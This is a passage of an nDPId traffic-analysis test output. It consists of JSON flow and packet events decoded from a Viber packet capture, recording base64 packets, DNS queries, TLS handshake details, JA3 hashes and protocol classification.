+02370{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":452359,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcl31AAOYGWb02RabiwKgAEQG7kHz0FjHldHPRJYAQAG4FEgAAAQEICkywppwAIWIQFgMDAEwCAABIAwNpa0pk3KLGQ24g\/aMvqIGsfXm242rK7WqpnjTuXaxSWgDALwAAIP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xFgMDEVgLABFUABFRAAW+MIIFujCCBKKgAwIBAgIQSJIT4MMvKqIG9KAsMNS0lTANBgkqhkiG9w0BAQsFADCBljELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxPDA6BgNVBAMTM0NPTU9ETyBSU0EgT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNjAyMTEwMDAwMDBaFw0xOTA0MTAyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEOMAwGA1UEERMFOTQwNDMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRkwFwYDVQQJExAxOTU5IExhbmRpbmdzIERyMRcwFQYDVQQKEw5BcHB0aW1pemUsIEluYzEcMBoGA1UECxMTUHJlbWl1bVNTTCBXaWxkY2FyZDEYMBYGA1UEAwwPKi5hcHB0aW1pemUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1yweODrn0HMixsXfKOospPUGhUn\/osi07WYbM2MA5hMxNJIlpLzRykh557oNhQYEnhUd1dP01i00IDibJyJOOn9wLohH2qjeTtgA5KS6ToWu75VgJV6kyq6X3rlgIIgDLmwZubwQQHVok1qPh0PmBn4+G2Zpyt1dLhrz99NApchcdWgEl9Yafe2\/jZIbMXd8\/6bk+oQ5ItsgdSSwKD3f0DylPoEr9HglXrseuMgvYLDhmeKArfgb\/Ql7VVIo1qs4oGWYqtWt3ZwW7mTEy3yekKAtTVyReu+biZSQBW05Hgn4raIgigTR\/EJ+sUdDvDc9deVlXnSuOEIn\/ynWk2oJnQIDAQABo4IB6DCCAeQwHwYDVR0jBBgwFoAUmvMr2s+tT7YvuypISCoStxtCwSQwHQYDVR0OBBYEFHCj31xxJa8\/ZGYVVTFqBgDRAaWdMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBQBgNVHSAESTBHMDsGDCsGAQQBsjEBAgEDBDArMCkGCCsGAQUFBwIBFh1odHRwczovL3NlY3VyZS5jb21vZG8uY29tL0NQUzAIBgZngQwBAgIwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBT3JnYW5pemF0aW9uVmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNybDCBiwYIKwYBBQUHAQEEfzB9MFUGCCsGAQUFBzAChklodHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FPcmdhbml6YXRpb25WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wKQYDVR0RBCIwIIIPKi5hcHB0aW1pemUuY29tgg1hcHB0aW1pemUuY29tMA0GCSqGSIb3DQEBCwUAA4IBAQBsVTXMfmfu7FXFawh8Q+pRoJzZtRl1uV217huAjn4GLi61TfLIkqmrl2rFaFJlDwDA3JACJXHYlATCvcPnukIAvcpTxX+UAJNejiY5g\/DFg09EeKw73yH4cPtSkqJQp1tWUGB7WF1aVpSCb\/23LG2ceNppRmm0jzFXqYirkKy5PS4pnf9v3bTXaUg="} +01140{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":452516,"pkt_caplen":595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":595,"pkt_l4_len":561,"pkt":"MAdNo1+nAA6OMNv9CABFAAJFl4BAAOYGXVE2RabiwKgAEQG7kHz0FkLddHPRJYAYAG45CgAAAQEICkywppwAIWIQ1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBB+SwNdefXtaqlKHuns58pidPGdqZwKeByrLD3pwN2L6KBpKq\/94qoQrRAFDlkSQGJAUqcEtDwuc0x9HZYPFhjIGAQEAEurEqnfDRngvdt1ezIr4yjfX40k9Ax4A+7pYBuoZIaRYCoAZ9cK8Nik9PZe4E6C6lG2T8M9rFHqWqqA3EeAyBVxcO3g6C3c4CIaWHgZz0Tcm1rx6ykfUz2uXzsm4jycYxXFiW66JIAfCitMQxrbXmklC0JyM+FzXG1y4WOhD3YplGOOi20PR6KXw3oyC0CG7fClawq\/i4nszP1f1MusVfCK2D\/A1Cw\/461eZHiqLyIORQktiMujusFL+fDXZ+H9l\/lDn8DYPaORmZLw0qlRC6thFyjsWyj6Udr6VV+ldCm9Q4dM5T6v1X76vbcAC5GOHPBH8oD+r4YZvcZnwvS6M6RYDAwAEDgAAAA=="} +00438{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":455048,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAsZVAAEAG60HAqAARNkWm4pB8Abt0c9El9BYx5bAQAsPvmAAAAQEICgAhYj5MsKacAQEFCvQWN430Fj01"} +00438{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":455128,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAsZZAAEAG60DAqAARNkWm4pB8Abt0c9El9BYx5bAQAtrp2QAAAQEICgAhYj5MsKacAQEFCvQWN430FkLd"} +00422{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":455175,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0sZdAAEAG60vAqAARNkWm4pB8Abt0c9El9BZC3YAQAvFxegAAAQEICgAhYj5MsKac"} +00422{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":455220,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0sZhAAEAG60rAqAARNkWm4pB8Abt0c9El9BZE7oAQAwdvUwAAAQEICgAhYj5MsKac"} +00595{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":468658,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OMNv9MAdNo1+nCABFAACysZlAAEAG6svAqAARNkWm4pB8Abt0c9El9BZE7oAYAwdkgwAAAQEICgAhYkJMsKacFgMDAEYQAABCQQR1\/lrPOP7QwmMUcyMj3ciYBV4nbgy5urRN+a4ubAY7ShW7R8zP6mu8tVt6rElE2w9k2xEoQ7u2Sz2BhSTxjeIGFAMDAAEBFgMDACgAAAAAAAAAAHJGbbT+xZdnTc0A126zrXMK2QZgtkAyQPt\/y4fIDDSt"} +00774{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155640,"pkt_ts_usec":644021,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"MAdNo1+nAA6OMNv9CABFAAE2l4FAAOYGXl82RabiwKgAEQG7kHz0FkTudHPRo4AYAG6y6QAAAQEICkywpswAIWJCFgMDAMoEAADGAACowADAn2gqIZctsFDgAFT4WfWm8MPKahZ+5Cdq35rw6SUGf1iZ2jDB22ZQsI+e5Qr1hc9C2EI9IJG\/SDlf22yMU9fiR4es+rk+63SbwgoN+r0qAud8CZkrSOJ\/fN2o5Y+\/mX5maf6rrnJxPIVjsBiAJ3Vr1gCv+Yw3ueKogDbaA+9g8GCwjfNtyABxKM4yqasm+BOm7v7vljzSztzN6rgICNtf5pHmho\/3BwE\/CHqQqr8VrV0ecreQQoXm5Kmqmdj+8+CNFAMDAAEBFgMDACiQWGXBQHkKbXqKtilNyeoDxkLpzPhc3gjpcp237WmZeB9cuMOiP+O8"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"viber.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1527155641574,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":37418,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":574870,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AA6OMNv9MAdNo1+nCABFAABBH3ZAAEARmcXAqAARwKgAD5IqADUALZxVyU0BAAABAAAAAAAABW1lZGlhA2NkbgV2aWJlcgNjb20AAAEAAQ=="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":61,"source":"viber.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1527155641574,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":37418,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Viber","breed":"Acceptable","category":"Chat"},"dns": {"query":"media.cdn.viber.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00584{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":691221,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"MAdNo1+nAA6OMNv9CABFAACrXEZAAEARXIvAqAAPwKgAEQA1kioAlzNhyU2BgAABAAUAAAAABW1lZGlhA2NkbgV2aWJlcgNjb20AAAEAAcAMAAUAAQAACsAAHg1kbzJneTJrd2FrOWsyCmNsb3VkZnJvbnQDbmV0AMAxAAEAAQAAADsABDbmXWDAMQABAAEAAAA7AAQ25l2mwDEAAQABAAAAOwAENuZdIsAxAAEAAQAAADsABDbmXaA="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":62,"source":"viber.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1527155641574,"flow_last_seen":1527155641691,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":45,"flow_max_l4_data_len":151,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":37418,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Viber","breed":"Acceptable","category":"Chat"},"dns": {"query":"media.cdn.viber.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.230.93.96"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"viber.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1527155641697,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.96","src_port":57520,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":697916,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA825FAAEAGCivAqAARNuZdYOCwAbu7GrjkAAAAAKAC\/\/84\/wAAAgQFtAQCCAoAIWN1AAAAAAEDAwc="} +00433{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":714003,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAAPQGMbw25l1gwKgAEQG74LAWDyy+uxq45aAScSCWXAAAAgQFtAQCCAp+anA4ACFjdQEDAwg="} +00421{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":716061,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA025JAAEAGCjLAqAARNuZdYOCwAbu7GrjlFg8sv4AQAq0zmAAAAQEICgAhY3p+anA4"} +00673{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":717778,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"AA6OMNv9MAdNo1+nCABFAADs25NAAEAGCXnAqAARNuZdYOCwAbu7GrjlFg8sv4AYAq3PXQAAAQEICgAhY3p+anA4FgMBALMBAACvAwM9xUi6e2VHcfR2Et1lmWRy3PNn2wAw6MtgIjCKmCwNtgAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABq\/wEAAQAAAAAYABYAABNtZWRpYS5jZG4udmliZXIuY29tABcAAAAjAAAADQAQAA4EAwQBBQMFAQYDBgECAQAFAAUBAAAAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAgABgAdABcAGA=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"viber.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1527155641697,"flow_last_seen":1527155641717,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":32,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.96","src_port":57520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"media.cdn.viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00422{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":733771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0XIVAAPQG1T425l1gwKgAEQG74LAWDyy\/uxq5nYAQAHY1FQAAAQEICn5qcDoAIWN6"} +02379{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":736492,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcXIZAAPQGz5U25l1gwKgAEQG74LAWDyy\/uxq5nYAQAHZ\/VwAAAQEICn5qcDoAIWN6FgMDAFQCAABQAwPoyuuCaGbnEG9iDpn6258VxnAoTYnO+9\/ziBviurg4hQDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwMLAgsACv4ACvsABj8wggY7MIIFI6ADAgECAhBhzDxU6rjF73JHtAvuSXwJMA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwx0aGF3dGUsIEluYy4xGzAZBgNVBAMTEnRoYXd0ZSBTU0wgQ0EgLSBHMjAeFw0xNjA3MDMwMDAwMDBaFw0xODA3MDMyMzU5NTlaMHkxCzAJBgNVBAYTAkxVMRMwEQYDVQQIDApMdXhlbWJvdXJnMRMwEQYDVQQHDApMdXhlbWJvdXJnMRkwFwYDVQQKDBBWaWJlciBNZWRpYSBTYXJsMQswCQYDVQQLDAJJVDEYMBYGA1UEAwwPKi5jZG4udmliZXIuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz8n+EisnmdyKBpkVsvzsuk\/ujYXgyIE8xGBKCjA5x7cHaC1oIJtHyf+8X\/v119n6FNK4ChBrewFLJq+ebjhk2nuYslAfSLg42OpZz\/g07QolDzaSoO6LFeMdCDOxsqogq6F2gGWu1v93wXMZ3SxX0w18h2ffrV9iogCDu\/mnq8X\/idwGWekNtI2\/kjVqiWLJtkY\/tdLE9BJjPIoiwKQc4Yt+KQkFdDlibpwcHG8eeybzMInWXu7FC1vF3Qqbr8s\/\/3HEi8mcold\/nqp4tpy6eja5yIZxJyRta4uP5CWP1mxVh1nXdmY8bXdVUchnq4u5yoCX0k4ET9h8entvHWZ+XwIDAQABo4IC9TCCAvEwGgYDVR0RBBMwEYIPKi5jZG4udmliZXIuY29tMAkGA1UdEwQCMAAwbgYDVR0gBGcwZTBjBgZngQwBAgIwWTAmBggrBgEFBQcCARYaaHR0cHM6Ly93d3cudGhhd3RlLmNvbS9jcHMwLwYIKwYBBQUHAgIwIwwhaHR0cHM6Ly93d3cudGhhd3RlLmNvbS9yZXBvc2l0b3J5MA4GA1UdDwEB\/wQEAwIFoDAfBgNVHSMEGDAWgBTCT0hX\/NFPmsBdOH0OBdvZLrVSYDArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vdGouc3ltY2IuY29tL3RqLmNybDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vdGouc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vdGouc3ltY2IuY29tL3RqLmNydDCCAYAGCisGAQQB1nkCBAIEggFwBIIBbAFqAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFVsIW2uwAABAMARzBFAiEAlTt3Tfiw+ZZkJLDr25tqCm1oUh0cB9HjeEURiPCEppcCICtUSsKus6VjSQLSl7aDoWDctozD4ksxtvlWI8eePdKUAHcApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFVsIW22wAABAMASDBGAiEAkwIgHnjei9Vt6R6DySH3EGyATRDY6APv7x+fMnLLC70CIQDRAgEBufCSaKFWQnR4phBwxt9rp0P7DMPVkK1VYgphwgB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABVbCFttoAAAQDAEgwRgIhAIHqLNKBhDtGl526NtEeDShBJzlZdt1CuekDsZFrZQ2oAiEAiNWljtQFJroPTOKnW86s\/s54V\/TJEZ\/n1XzoqcAzlFAwDQYJKoZIhvcNAQELBQADggEBAJU="} +00783{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":68,"source":"viber.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1527155641697,"flow_last_seen":1527155641736,"flow_tot_l4_data_len":1840,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.96","src_port":57520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"media.cdn.viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02379{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":736756,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcXIdAAPQGz5Q25l1gwKgAEQG74LAWDzJnuxq5nYAQAHYAbgAAAQEICn5qcDoAIWN6DOxt1OzHqMvhJvwwQooO47ut9+eXDtZ+A5ZnGjrcq2qJVOVbgdkd6I25eKYUJt2urtAhOjrPcorixm2yJ\/hW1xBFWZwHdnbJvL+PZ+ZzcYKnISrAdmvESEXZGQgo64jKTAxcoIuHeEjpk9wurUs1j7MPPt5LEsFsH1yGZsIo3KTOfo47hjn7RkANfGeYLvr0unZAVSQ8xJjgl\/9tb\/KjjzD3PmJRgi2QVH4UQu0+jOgzjJNxTayr1LjNe5ReXtNCnYITgfCCDkvGNrAxZBq6TCvzY9cBNkFuW9Dk4BywBTZkeNv4jbregdSEKZ28FTVb8AHBC+GwWIDTN6zDInvAAAS2MIIEsjCCA5qgAwIBAgIQFofWiG3iMAaFIz2\/Eb9llzANBgkqhkiG9w0BAQsFADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjBBMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhhd3RlLCBJbmMuMRswGQYDVQQDExJ0aGF3dGUgU1NMIENBIC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy\/Ab7BJPS6lkgO0SFl1I55xDweuCwlEDaRvgMKLu5zmA4P9LYEUIbka1J7o\/H3mzeN2\/9iyA8bed009zVJIhBgInuNr7E1b6NUxOq5KW4kwq+7NrNPNQyVu\/QTqC4l7s5UB5uZcP9ss7gWalICcb+vq78PjuBIJeLj0bfYGQHdbsbhjifR3s0zqHRl6122J+3Jtt5gDZI8sU3+NkyrnykU4HHmaFUOC9PdaC7WqW7zawCWxkC1RMYp86sdFUSBYubopVGZHI4zVobOhanvnGZjFQDuJZsAdM+Bpg\/IYE7An4AR1MBHg5GQ\/tLLdwLGugvmPh+0ZmrE2ykF95v9hX1AgMBAAGjggE7MIIBNzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjAyBgNVHR8EKzApMCegJaAjhiFodHRwOi8vdDEuc3ltY2IuY29tL1RoYXd0ZVBDQS5jcmwwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vdDIuc3ltY2IuY29tMEEGA1UdIAQ6MDgwNgYKYIZIAYb4RQEHNjAoMCYGCCsGAQUFBwIBFhpodHRwczovL3d3dy50aGF3dGUuY29tL2NwczApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzcwHQYDVR0OBBYEFMJPSFf80U+awF04fQ4F29kutVJgMB8GA1UdIwQYMBaAFHtbRc+vzst6\/TGSGmq280brV0hQMA0GCSqGSIb3DQEBCwUAA4IBAQCNBt5DyXYCytkjl17zY9d9RMIPawr1B+WLuPrgo\/prgJK1AyzFN+DC5ZW1knAYKEKU7kt3agEPiyPsVk30AGnlhMji6t5bPvY8BzqUymwnscyDGmBxJ9K\/AvUeRNNI1abTdiEAnPqYZOsXNj\/rGzw+prHZWAYOctlovvGnINdS5KR3H3FwnVU1hTfhHU2UwnB\/lUBuS32ytCkqA3nIuUxnYQSgiyf\/WQDrVX\/GtzM1LV5OrLjqEsXo97mrvnSSLLfZTcqELxzC8HJ8sjFuz4DliAc2UXu6Ya9tjSNbNKOVvKIxf\/L157fo78S1JzLp954="} +02375{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":736812,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcXIhAAPQGz5M25l1gwKgAEQG74LAWDzgPuxq5nYAQAHZxUgAAAQEICn5qcDoAIWN6accr6L67DKrn6mAS6iaKeBYDAwWOFgAFigEABYYwggWCCgEAoIIFezCCBXcGCSsGAQUFBzABAQSCBWgwggVkMIGeohYEFEa+Iw4ZP5maMKC4NxcA4+LDp5F8GA8yMDE4MDUyMTAyMTM1N1owczBxMEkwCQYFKw4DAhoFAAQUb3ZbhgHP5WMdW1xQZ5ZT9boGB5gEFMJPSFf80U+awF04fQ4F29kutVJgAhBhzDxU6rjF73JHtAvuSXwJgAAYDzIwMTgwNTIxMDIxMzU3WqARGA8yMDE4MDUyODAyMTM1N1owDQYJKoZIhvcNAQEFBQADggEBAAPTUZoPSBdDjHSBTqOjtgzNwpwfYgfabmMVz50S3KFFm0sU04GeuaJ9g41HuA3WluvSf45+ZzyGXqOzpnQu7CNK0+C5XXL5w3wA6xPikljvupwbkdIDvED4aCXc4moYsF8a2\/yyz6\/nhDX+yWHLuDmh0AFcjMsDe+tg47JixKaw0vz+2sEocUMFQueV8hkMa6aUg1D\/SmUJGkG5+Bnf7m0+jYFFC8OuCGT0ZYwdUemRyCvX3jEDWBpoawR3NV8dPTzngEmRHYocIHT7xPt4a9djV57OumdaEuIkkW3gV9XHbidEmozL53rArtlqI